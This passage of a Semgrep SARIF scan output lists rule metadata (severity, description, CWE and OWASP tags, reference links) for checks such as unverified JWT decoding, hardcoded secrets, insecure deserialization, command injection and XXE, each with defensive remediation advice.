instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","id":"python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","name":"python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.insecure-hash-algorithms.insecure-hash-algorithm-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified."},"help":{"markdown":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.jwt.security.unverified-jwt-decode.unverified-jwt-decode)\n - [https://github.com/we45/Vulnerable-Flask-App/blob/752ee16087c0bfb79073f68802d907569a1f0df7/app/app.py#L96](https://github.com/we45/Vulnerable-Flask-App/blob/752ee16087c0bfb79073f68802d907569a1f0df7/app/app.py#L96)\n","text":"Detected JWT token decoded with 'verify=False'. This bypasses any integrity checks for the token which means the token could be tampered with by malicious actors. Ensure that the JWT token is verified."},"helpUri":"https://semgrep.dev/r/python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","id":"python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","name":"python.jwt.security.unverified-jwt-decode.unverified-jwt-decode","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.jwt.security.unverified-jwt-decode.unverified-jwt-decode"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input."},"help":{"markdown":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn)\n - [http://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html](http://sekrit.de/webdocs/c/beginners-guide-away-from-scanf.html)\n","text":"Avoid using 'scanf()'. This function, when used improperly, does not consider buffer boundaries and can lead to buffer overflows. Use 'fgets()' instead for reading input."},"helpUri":"https://semgrep.dev/r/c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","id":"c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","name":"c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn","properties":{"precision":"very-high","tags":["CWE-676: Use of Potentially Dangerous Function","LOW CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: c.lang.security.insecure-use-scanf-fn.insecure-use-scanf-fn"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file."},"help":{"markdown":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-private-key.detected-private-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Private Key detected. This is a sensitive credential and should not be hardcoded here. Instead, store this in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-private-key.detected-private-key","id":"generic.secrets.security.detected-private-key.detected-private-key","name":"generic.secrets.security.detected-private-key.detected-private-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-private-key.detected-private-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.axios.hardcoded-basic-token.hardcoded-basic-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.axios.hardcoded-basic-token.hardcoded-basic-token","id":"javascript.axios.hardcoded-basic-token.hardcoded-basic-token","name":"javascript.axios.hardcoded-basic-token.hardcoded-basic-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.axios.hardcoded-basic-token.hardcoded-basic-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative."},"help":{"markdown":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.ftp-use.ftp-use)\n - [https://www.php.net/manual/en/intro.ftp.php](https://www.php.net/manual/en/intro.ftp.php)\n - [https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/FringeFunctionsSniff.php](https://github.com/FloeDesignTechnologies/phpcs-security-audit/blob/master/Security/Sniffs/BadFunctions/FringeFunctionsSniff.php)\n","text":"FTP allows for unencrypted file transfers. Consider using an encrypted alternative."},"helpUri":"https://semgrep.dev/r/php.lang.security.ftp-use.ftp-use","id":"php.lang.security.ftp-use.ftp-use","name":"php.lang.security.ftp-use.ftp-use","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.ftp-use.ftp-use"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this."},"help":{"markdown":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled)\n - [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/)\n","text":"Service '$SERVICE' is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccomp:unconfined' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","id":"yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","name":"yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.seccomp-confinement-disabled.seccomp-confinement-disabled"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","id":"python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","name":"python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-environ-variable-flask.tainted-environ-variable-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended"},"help":{"markdown":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"A `sync.Mutex` is copied in function `$FUNC` given that `$T` is value receiver.  As a result, the struct `$T` may not be locked as intended"},"helpUri":"https://semgrep.dev/r/trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","id":"trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","name":"trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied","properties":{"precision":"very-high","tags":["CWE-688: Function Call With Incorrect Variable or Reference as Argument","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.sync-mutex-value-copied.sync-mutex-value-copied"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","id":"python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","name":"python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pandas-pickle-flask.tainted-pandas-pickle-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`"},"help":{"markdown":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails6/app/controllers/groups_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails6/app/controllers/groups_controller.rb)\n","text":"Found user-controllable input to a reflection method. This may allow a user to alter program behavior and potentially execute arbitrary instructions in the context of the process. Do not provide arbitrary user input to `tap`, `method`, or `to_proc`"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","id":"ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","name":"ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unsafe-reflection-methods.check-unsafe-reflection-methods"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","id":"java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","name":"java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.command-injection.tainted-system-command-msg.tainted-system-command-msg"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"help":{"markdown":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Document Builder being instantiated without calling the `setFeature` functions that are generally used for disabling entity processing. User controlled data in XML Document builder can result in XML Internal Entity Processing vulnerabilities like the disclosure of confidential data, denial of service, Server Side Request Forgery (SSRF), port scanning. Make sure to disable entity processing functionality."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","id":"scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","name":"scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.documentbuilder-dtd-enabled.documentbuilder-dtd-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment."},"help":{"markdown":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n - [https://eprint.iacr.org/2016/759.pdf](https://eprint.iacr.org/2016/759.pdf)\n - [https://www.cs.tau.ac.il/~tromer/papers/cache-joc-20090619.pdf](https://www.cs.tau.ac.il/~tromer/papers/cache-joc-20090619.pdf)\n - [https://datatracker.ietf.org/doc/html/rfc9106#section-4](https://datatracker.ietf.org/doc/html/rfc9106#section-4)\n","text":"Prefer Argon2id where possible. Per RFC9016, section 4 IETF recommends selecting Argon2id unless you can guarantee an adversary has no direct access to the computing environment."},"helpUri":"https://semgrep.dev/r/javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","id":"javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","name":"javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.argon2.security.unsafe-argon2-config.unsafe-argon2-config"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC777 tokensReceived() reentrancy"},"help":{"markdown":"ERC777 tokensReceived() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc777-reentrancy.erc777-reentrancy)\n - [https://mirror.xyz/baconcoin.eth/LHaPiX38mnx8eJ2RVKNXHttHfweQMKNGmEnX4KUksk0](https://mirror.xyz/baconcoin.eth/LHaPiX38mnx8eJ2RVKNXHttHfweQMKNGmEnX4KUksk0)\n - [https://etherscan.io/address/0xf53f00f844b381963a47fde3325011566870b31f](https://etherscan.io/address/0xf53f00f844b381963a47fde3325011566870b31f)\n","text":"ERC777 tokensReceived() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc777-reentrancy.erc777-reentrancy","id":"solidity.security.erc777-reentrancy.erc777-reentrancy","name":"solidity.security.erc777-reentrancy.erc777-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc777-reentrancy.erc777-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability."},"help":{"markdown":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization)\n - [https://mbraceproject.github.io/FsPickler/tutorial.html#Disabling-Subtype-Resolution](https://mbraceproject.github.io/FsPickler/tutorial.html#Disabling-Subtype-Resolution)\n","text":"The FsPickler is dangerous and is not recommended for data processing. Default configuration tend to insecure deserialization vulnerability."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","id":"csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","name":"csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.fs-pickler.insecure-fspickler-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'."},"help":{"markdown":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.header-injection.header-injection)\n - [https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md](https://github.com/yandex/gixy/blob/master/docs/en/plugins/httpsplitting.md)\n - [https://owasp.org/www-community/attacks/HTTP_Response_Splitting](https://owasp.org/www-community/attacks/HTTP_Response_Splitting)\n","text":"The $$VARIABLE path parameter is added as a header in the response. This could allow an attacker to inject a newline and add a new header into the response. This is called HTTP response splitting. To fix, do not allow whitespace in the path parameter: '[^\\s]+'."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.header-injection.header-injection","id":"generic.nginx.security.header-injection.header-injection","name":"generic.nginx.security.header-injection.header-injection","properties":{"precision":"very-high","tags":["CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.header-injection.header-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.mssql.node-mssql-empty-password.node-mssql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","id":"javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","name":"javascript.mssql.node-mssql-empty-password.node-mssql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.mssql.node-mssql-empty-password.node-mssql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-fs-filename.express-fs-filename)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/javascript.express.express-fs-filename.express-fs-filename","id":"javascript.express.express-fs-filename.express-fs-filename","name":"javascript.express.express-fs-filename.express-fs-filename","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-fs-filename.express-fs-filename"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $PARSER with `$PARSER.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. $PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.validator-xxe.validator-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - 